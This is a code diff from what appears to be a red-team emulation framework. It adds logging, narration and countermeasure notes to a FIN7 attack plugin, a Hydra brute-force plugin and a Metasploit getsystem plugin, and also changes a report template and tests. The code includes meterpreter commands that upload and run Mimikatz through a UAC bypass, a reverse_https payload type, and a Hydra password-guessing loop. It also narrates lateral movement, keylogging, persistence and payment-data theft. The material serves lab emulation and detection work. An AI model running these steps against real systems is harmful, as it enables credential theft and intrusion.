# TODO: Make sure logging is nice and complete # TODO: Make sure logging is nice and complete
@ -72,16 +102,29 @@ class FIN7Plugin(AttackPlugin):
# Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1)
self.caldera_attack(hotelmanager, "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": hotelmanager.get_ip()}) self.caldera_attack(hotelmanager,
"deeac480-5c2a-42b5-90bb-41675ee53c7e",
parameters={"remote.host.fqdn": hotelmanager.get_ip()},
tactics="Discovery",
tactics_id="TA0007",
situation_description="The attackers got a bastion system infected and start to evaluate the value of the network")
# check for sandbox https://attack.mitre.org/techniques/T1497/ # check for sandbox https://attack.mitre.org/techniques/T1497/
# The documentation does not define how it is checking exactly. # The documentation does not define how it is checking exactly.
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1)
self.caldera_attack(hotelmanager, "5dc841fd-28ad-40e2-b10e-fb007fe09e81") self.caldera_attack(hotelmanager,
"5dc841fd-28ad-40e2-b10e-fb007fe09e81",
tactics="Defense Evasion",
tactics_id="TA0005",
situation_description="There are many more ways to identify if the attacker is running in a VM. This is just one.")
# query username https://attack.mitre.org/techniques/T1033/ # query username https://attack.mitre.org/techniques/T1033/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1)
self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596") self.caldera_attack(hotelmanager,
"c0da588f-79f0-4263-8998-7496b1a40596",
tactics="Discovery",
tactics_id="TA0007"
)
# TODO: query computername https://attack.mitre.org/techniques/T1082/ # TODO: query computername https://attack.mitre.org/techniques/T1082/
# self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1) # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1)
@ -90,17 +133,27 @@ class FIN7Plugin(AttackPlugin):
# TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/
# WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/ # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1)
self.caldera_attack(hotelmanager, "14a21534-350f-4d83-9dd7-3c56b93a0c17") self.caldera_attack(hotelmanager,
"14a21534-350f-4d83-9dd7-3c56b93a0c17",
tactics="Discovery",
tactics_id="TA0007")
# System Info discovery https://attack.mitre.org/techniques/T1082/ # System Info discovery https://attack.mitre.org/techniques/T1082/
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}", f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}",
1) 1)
self.caldera_attack(hotelmanager, "b6b105b9-41dc-490b-bc5c-80d699b82ce8") self.caldera_attack(hotelmanager,
"b6b105b9-41dc-490b-bc5c-80d699b82ce8",
tactics="Discovery",
tactics_id="TA0007")
# CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/ # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}", f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}",
1) 1)
self.caldera_attack(hotelmanager, "316251ed-6a28-4013-812b-ddf5b5b007f8") self.caldera_attack(hotelmanager,
"316251ed-6a28-4013-812b-ddf5b5b007f8",
tactics="Collection",
tactics_id="TA0009"
)
# TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/
self.attack_logger.vprint( self.attack_logger.vprint(
@ -168,7 +221,15 @@ class FIN7Plugin(AttackPlugin):
""" """
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 4 (target hotelmanager): Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 4 (target hotelmanager): Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 4 (target hotelmanager): Staging Interactive Toolkit\n----------------------------")
self.attack_logger.start_narration("""
In the original attack Babymetal payload is a dll. Currently we are using a simplification here (directly calling a exe). The original steps are:
* Target already runs adb156.exe. This one gets the shellcode over the network connection and decodes it.
* adb156.exe executes cmd.exe which executes powershell.exe. It decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/
* Powershell cmdlet Invoke-Expression executes decoded dll https://attack.mitre.org/techniques/T1140/
* The script invoke-Shellcode.ps1 loads shellcode into powershell.exe memory (Allocate memory, copy shellcode, start thread) (received from C2 server) https://attack.mitre.org/techniques/T1573/
""")
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}", f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}",
1) 1)
@ -208,6 +269,8 @@ class FIN7Plugin(AttackPlugin):
def step5(self): def step5(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 5 (target hotelmanager): Escalate Privileges\n----------------------------")
hotelmanager = self.get_target_by_name("hotelmanager") hotelmanager = self.get_target_by_name("hotelmanager")
@ -216,18 +279,27 @@ class FIN7Plugin(AttackPlugin):
# powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager)) print(metasploit.ps_process_discovery(hotelmanager,
situation_description="The processes found here are not directly used (terminated, infected, ...). This is just a basic discovery step.",
countermeasures="None possible. This is a very standard behaviour. Could be interesting after some data on process behaviour got aggregated as additional info snippet.")
)
# powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/ # powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) # print(metasploit.meterpreter_execute_on(["arp"], hotelmanager))
print(metasploit.arp_network_discovery(hotelmanager,
situation_description="Ready for first network enumeration",
countermeasure="Maybe detect direct arp access. Should be uncommon for normal tools."))
# powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/
# TODO: Add a new machine in config as <itadmin> ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error # TODO: Add a new machine in config as <itadmin> ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error
itadmin = self.get_target_by_name("itadmin").get_ip() itadmin = self.get_target_by_name("itadmin")
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1)
cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'" # cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'"
print(metasploit.meterpreter_execute_on([cmd], hotelmanager)) # print(metasploit.meterpreter_execute_on([cmd], hotelmanager))
print(metasploit.nslookup(hotelmanager, itadmin,
situation_description="Looking up info on the next target, the machine itadmin"))
# Copy step 5 attack tools to attacker # Copy step 5 attack tools to attacker
@ -239,26 +311,51 @@ class FIN7Plugin(AttackPlugin):
self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe") self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe")
self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1") self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1")
print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10)) print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10))
cmd = "upload samcat.exe 'samcat.exe' "
# cmd = "upload boring_test_file.txt 'samcat.exe' " # cmd = "upload boring_test_file.txt 'samcat.exe' "
print(cmd)
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) # cmd = "upload samcat.exe 'samcat.exe' "
# print(cmd)
cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " # print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
print(metasploit.upload(hotelmanager, "samcat.exe", "samcat.exe",
situation_description="Uploading Mimikatz",
countermeasure="File detection"))
# cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' "
# cmd = "upload boring_test_file.txt 'samcat.exe' " # cmd = "upload boring_test_file.txt 'samcat.exe' "
print(cmd) # print(cmd)
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) # print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
print(metasploit.upload(hotelmanager, "uac-samcats.ps1", "uac-samcats.ps1",
delay=10,
situation_description="Uploading UAC bypass powershell script. This one will execute Mimikatz",
countermeasure="File detection"))
# execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/
execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'" execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'"
print(execute_samcats) print(execute_samcats)
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
target=hotelmanager.get_ip(),
metasploit_command=execute_samcats,
ttp="T1003",
name="execute_mimikatz",
description="Execute Mimikatz to access OS credentials",
tactics="Credential Access",
tactics_id="TA0006",
situation_description="Executing Mimikatz through UAC bypassing powershell",
countermeasure="Behaviour detection"
)
print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20)) print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20))
self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
target=hotelmanager.get_ip(),
metasploit_command=execute_samcats,
ttp="T1003",
logid=logid)
# samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/
@ -325,7 +422,19 @@ class FIN7Plugin(AttackPlugin):
def step6(self): def step6(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 6 (target hotelmanager -> itadmin): Expand Access{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 6 (target hotelmanager -> itadmin): Expand Access{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 6 (target hotelmanager and itadmin): Expand Access\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET. NEEDS A SECOND MACHINE FOR LATERAL MOVEMENT
* powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/
* spawn powershell through cmd
* We move to the itadmin host: Use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/
* paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/
* https://www.poweradmin.com/paexec/
* => Lateral move to itadmin
* hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/
* svchost starts data exchange
""")
# This is meterpreter ! # This is meterpreter !
# powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/
@ -375,6 +484,21 @@ class FIN7Plugin(AttackPlugin):
def step7(self): def step7(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 7 on itadmin: Setup User Monitoring{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 7 on itadmin: Setup User Monitoring{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 7 (target itadmin): Setup User Monitoring\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET. A REPLACEMENT FOR THE ALOHA COMMAND CENTER IS NEEDED
* Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly
* BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center)
* This is meterpreter !
* Emulating DLL hijacking functionality of BOOSTWRITE
* Create BOOSTWRITE meterpreter handler
* Create temporary HTTP server serving "B" as XOR Key
* hollow.exe meterpreter session dowloads BOOSTWRITE.dll to srrstr.dll https://attack.mitre.org/techniques/T1105/
* cmd.exe spawns svchost.exe -> executes SystemPropertiesAdvanced.exe which executes srrstr.dll
* srrstr.dll spawns rundll32.exe which communicates to metasploit. New shell !
""")
# Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly # Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly
# BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center) # BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center)
@ -396,6 +520,18 @@ class FIN7Plugin(AttackPlugin):
def step8(self): def step8(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 8 (target: itadmin as domain_admin): User Monitoring{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 8 (target: itadmin as domain_admin): User Monitoring{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 8 (target itadmin): User Monitoring\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET. MAYBE DO THIS PARTIAL. KEYLOGGING NEEDS USER INTERACTION.
(Screen spying and keylogging are already implemented as standalone metasploit attacks. Use them)
* Meterpreter migrates to explorer.exe (from svchost) https://attack.mitre.org/techniques/T1055/
* screenspy for screen capture https://attack.mitre.org/techniques/T1113/
* migrate session to mstsc.exe https://attack.mitre.org/techniques/T1056/001/
* deploy keylogger https://attack.mitre.org/techniques/T1056/001/
* create a RDP session from itadmin -> accounting using stolen credentials
""")
# This is meterpreter ! # This is meterpreter !
@ -405,6 +541,8 @@ class FIN7Plugin(AttackPlugin):
# deploy keylogger https://attack.mitre.org/techniques/T1056/001/ # deploy keylogger https://attack.mitre.org/techniques/T1056/001/
# create a RDP session from itadmin -> accounting using stolen credentials # create a RDP session from itadmin -> accounting using stolen credentials
# TODO: Screen spying and keylogging are already implemented as standalone metasploit attacks. Use them
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 8: User Monitoring{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKGREEN}End Step 8: User Monitoring{CommandlineColors.ENDC}", 1)
@ -461,6 +599,15 @@ class FIN7Plugin(AttackPlugin):
def step9(self): def step9(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 9 (target: accounting): Setup Shim Persistence{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 9 (target: accounting): Setup Shim Persistence{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 9 (target accounting): Setup Shim Persistence\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET
* powershell.exe executes base64 encoded commands (Caldera ?)
* Downloads dll329.dll and sdbE376
* persistence: sdbinst.exe installs sdbE376.tmp for application shimming https://attack.mitre.org/techniques/T1546/011/
""")
# This is meterpreter ! # This is meterpreter !
@ -524,6 +671,17 @@ class FIN7Plugin(AttackPlugin):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 10 (target: accounting): Steal Payment Data{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 10 (target: accounting): Steal Payment Data{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 10 (target accounting): Steal Payment Data\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET. NEEDS TARGET REBOOTING: NO IDEA IF ATTACKX CAN SUPPORT THAT
* Machine is rebooted
* shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/
* AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2
* debug.exe(pillowMint.exe) is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/
* send 7za.exe to target. Zip stolen data, exfiltrate
""")
# This is meterpreter ! # This is meterpreter !
@ -576,15 +734,15 @@ class FIN7Plugin(AttackPlugin):
self.build_step10() # DONE self.build_step10() # DONE
# self.step1() self.step1()
# self.step2() self.step2()
self.step3() # DONE and works self.step3() # DONE and works
self.step4() # PARTIAL - with a hack. Needs compilation of babymetal: Needs a powershell to execute on the build system. And this one needs system access self.step4() # PARTIAL - with a hack. Needs compilation of babymetal: Needs a powershell to execute on the build system. And this one needs system access
self.step5() # DONE and quite ok self.step5() # DONE and quite ok
# self.step6() # Hollow.exe has to be generated self.step6() # Hollow.exe has to be generated
# self.step7() # Will need compilation of an attack tool Boostwrite self.step7() # Will need compilation of an attack tool Boostwrite
# self.step8() # Migration and credential collection, on itadmin self.step8() # Migration and credential collection, on itadmin
# self.step9() # on accounting, shim persistence bin329.tmp needs to be generated self.step9() # on accounting, shim persistence bin329.tmp needs to be generated
# self.step10() # on accounting, AccountingIQ.c needs compilation. But just once. self.step10() # on accounting, AccountingIQ.c needs compilation. But just once.
return "" return ""

@ -11,6 +11,8 @@ class HydraPlugin(AttackPlugin):
name = "hydra" name = "hydra"
description = "A plugin controlling the hydra brute forcing tool" description = "A plugin controlling the hydra brute forcing tool"
ttp = "T1110" ttp = "T1110"
tactics_id = "T1110.003"
tactics = "Credential access"
references = ["https://attack.mitre.org/techniques/T1110/"] references = ["https://attack.mitre.org/techniques/T1110/"]
required_files_attacker = ["passwords.txt", "users.txt"] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share required_files_attacker = ["passwords.txt", "users.txt"] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
@ -27,6 +29,7 @@ class HydraPlugin(AttackPlugin):
# Set defaults if not present in config # Set defaults if not present in config
playground = self.attacker_machine_plugin.get_playground() playground = self.attacker_machine_plugin.get_playground()
total_res = ""
# Generate command # Generate command
cmd = f"cd {playground};" cmd = f"cd {playground};"
@ -34,7 +37,24 @@ class HydraPlugin(AttackPlugin):
for t in targets: for t in targets:
for p in self.conf['protocols']: for p in self.conf['protocols']:
cmd += f"hydra -L {self.conf['userfile']} -P {self.conf['pwdfile']} {p}://{t.get_ip()};" cmd += f"hydra -L {self.conf['userfile']} -P {self.conf['pwdfile']} {p}://{t.get_ip()};"
logid = self.attack_logger.start_kali_attack(source=self.attacker_machine_plugin.get_ip(),
res = self.attacker_run_cmd(cmd) or "" target=t.get_ip(),
attack_name=self.name,
return res ttp=self.ttp,
name="Hydra brute force",
tactics=self.tactics,
tactics_id=self.tactics_id,
description="Hydra can brute force accounts/passwords for different protocols",
situation_description=f"Hydra attack on {t.get_ip()}, protocol: {p}",
countermeasure="Statistics at the firewall. Close connections with too many failed connection attempts.",
kali_command=cmd
)
res = self.attacker_run_cmd(cmd) or ""
total_res += res
self.attack_logger.stop_kali_attack(source=self.attacker_machine_plugin.get_ip(),
target=t.get_ip(),
attack_name=self.name,
ttp=self.ttp,
logid=logid)
return total_res

@ -26,8 +26,9 @@ class MetasploitGetsystemPlugin(AttackPlugin):
@param targets: A list of targets, ip addresses will do @param targets: A list of targets, ip addresses will do
""" """
self.attack_logger.start_narration("A metasploit command like that is used to get system privileges for the next attack step.")
res = "" res = ""
payload_type = "windows/x64/meterpreter/reverse_https" payload_type = "windows/meterpreter/reverse_https"
payload_name = "babymetal.exe" payload_name = "babymetal.exe"
target = self.targets[0] target = self.targets[0]
@ -38,6 +39,9 @@ class MetasploitGetsystemPlugin(AttackPlugin):
metasploit.smart_infect(target, payload_type, payload_name, ) metasploit.smart_infect(target, payload_type, payload_name, )
metasploit.getsystem(target) metasploit.getsystem(target,
situation_description="This is an example standalone attack step. In real world attacks there would be events before and after",
countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection."
)
return res return res

@ -0,0 +1,105 @@
Attack
======
Target systems
--------------
Attack steps
------------
{% for e in events %}
{% if e.event is eq("start") %}
{% if e.type is eq("dropping_file") %}
Dropping file to target
~~~~~~~~~~~~~~~~~~~~~~~
At {{ e.timestamp }}
The file {{ e.file_name }} is dropped to the target {{ e.target }}.
{% endif %}
{% if e.type is eq("execute_payload") %}
Executing payload on target
~~~~~~~~~~~~~~~~~~~~~~~~~~~
At {{ e.timestamp }}
The command {{ e.command }} is used to start a file on the target {{ e.target }}.
{% endif %}
{% if e.type is eq("narration") %}
{{ e.text }}
{% endif %}
{% if e.sub_type is eq("metasploit") %}
Metasploit attack {{ e.name }}
~~~~~~~~~~~~~~~~~~~~~~~~~~
Tactics: {{ e.tactics }}
Tactics ID: {{ e.tactics_id }}
Hunting Tag: {{ e.hunting_tag}}
At {{ e.timestamp }} a Metasploit command {{ e.name }} was used to attack {{ e.target }} from {{ e.source }}.
{{ e.description }}
{% if e.metasploit_command is string() %}
Metasploit command: {{ e.metasploit_command }}
{% endif %}
{% if e.situation_description is string() %}
Situation: {{ e.situation_description }}
{% endif %}
{% if e.countermeasure is string() %}
Countermeasure: {{ e.countermeasure }}
{% endif %}
{% endif %}
{% if e.sub_type is eq("kali") %}
Kali attack {{ e.name }}
~~~~~~~~~~~~~~~~~~~~~~~~~~
Tactics: {{ e.tactics }}
Tactics ID: {{ e.tactics_id }}
Hunting Tag: {{ e.hunting_tag}}
At {{ e.timestamp }} a Kali command {{ e.kali_name }} was used to attack {{ e.target }} from {{ e.source }}.
{{ e.description }}
{% if e.kali_command is string() %}
Kali command: {{ e.kali_command }}
{% endif %}
{% if e.situation_description is string() %}
Situation: {{ e.situation_description }}
{% endif %}
{% if e.countermeasure is string() %}
Countermeasure: {{ e.countermeasure }}
{% endif %}
{% endif %}
{% if e.sub_type is eq("caldera") %}
Caldera attack {{ e.name }}
~~~~~~~~~~~~~~~~~~~~~~~~~~
Tactics: {{ e.tactics }}
Tactics ID: {{ e.tactics_id }}
Hunting Tag: {{ e.hunting_tag}}
At {{ e.timestamp }} a Caldera ability {{ e.ability_id }}/"{{ e.name }}" was used to attack the group {{ e.target_group }} from {{ e.source }}.
{{ e.description }}
{% if e.situation_description is string() %}
Situation: {{ e.situation_description }}
{% endif %}
{% if e.countermeasure is string() %}
Countermeasure: {{ e.countermeasure }}
{% endif %}
{% endif %}
{% endif %} {# event equal start #}
{% endfor %}

@ -41,7 +41,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack") self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "caldera") self.assertEqual(data[0]["sub_type"], "caldera")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target_paw"], paw) self.assertEqual(data[0]["target_paw"], paw)
self.assertEqual(data[0]["target_group"], group) self.assertEqual(data[0]["target_group"], group)
@ -71,7 +71,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack") self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "caldera") self.assertEqual(data[0]["sub_type"], "caldera")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target_paw"], paw) self.assertEqual(data[0]["target_paw"], paw)
self.assertEqual(data[0]["target_group"], group) self.assertEqual(data[0]["target_group"], group)
@ -95,7 +95,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack") self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "kali") self.assertEqual(data[0]["sub_type"], "kali")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["kali_name"], attack_name) self.assertEqual(data[0]["kali_name"], attack_name)
@ -116,7 +116,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack") self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "kali") self.assertEqual(data[0]["sub_type"], "kali")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["kali_name"], attack_name) self.assertEqual(data[0]["kali_name"], attack_name)
@ -137,7 +137,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack") self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "metasploit") self.assertEqual(data[0]["sub_type"], "metasploit")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["metasploit_command"], attack_name) self.assertEqual(data[0]["metasploit_command"], attack_name)
@ -158,7 +158,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack") self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "metasploit") self.assertEqual(data[0]["sub_type"], "metasploit")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["metasploit_command"], attack_name) self.assertEqual(data[0]["metasploit_command"], attack_name)
@ -179,7 +179,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack") self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "attack_plugin") self.assertEqual(data[0]["sub_type"], "attack_plugin")
